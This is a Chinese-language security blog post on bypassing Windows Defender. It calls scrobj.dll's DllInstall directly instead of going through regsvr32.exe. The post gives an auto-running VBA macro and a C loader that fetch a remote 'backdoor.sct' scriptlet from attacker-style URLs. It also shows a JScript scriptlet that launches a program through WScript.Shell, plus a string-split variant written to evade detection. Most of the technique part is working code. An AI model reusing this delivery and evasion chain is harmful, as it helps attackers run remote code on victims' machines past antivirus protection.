很久之前写过一篇regsvr32绕过的文章,今天更新第二篇。

测试环境如下:

在电脑上执行:

我们看一下具体是哪里出了问题,查看windows defender的详细:

发现主要是Cmdline这里报的错,当然分类这里是因为MSF的脚本内容触发了AMSI的内容:

这里先不探究AMSI的绕过问题,只讨论执行的问题。之前已经分享过了一些绕过手法,这里只讨论之前没说过的手法即调用scrobj.dll 的 DllInstall实现代码执行。Regsvr32.exe仅仅是白名单而已,主要操作还是scrobj.dll 在做。

其函数原型为:
HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);关于该函数的具体作用可以参看msdn:https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall
所以,我们便可以尝试使用该函数来实现和Regsvr32.exe一样的功能。根据该文章所言,我们可以通过VBA的方法来实现该功能:
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") 'False ="Don't install"
End Sub其实就跟导出函数下载文件类似。sct内容如下:
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>

不过终究宏再实战中可能受众面更窄一些,于是用C实现同样的功能,注意开启CLR:

代码来自@REInject
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>
int main()
{
TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p\n", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}这个时候,我们再来看一下windows defender的反映:

此时便变成了JS的问题了,那么我们在对我们的sct文件进行变形,变成下面这样:
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var wsc = "WScript.Shell";
var com = "calc";
com.concat(".","e","x","e");
var foo = new ActiveXObject(wsc).Run(com);
]]>
</script>
</registration>
</component>执行,便成功弹出了计算器。

此时便绕过了windows defender来执行了我们的代码。
后来再查找资料的过程中,发现了一个叫做Dllinstailler的项目,简介为C# DLL Installer like regsvr32,但是后来发现,它真的只是能dll,遂放弃。
参考文章:
https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/#
https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability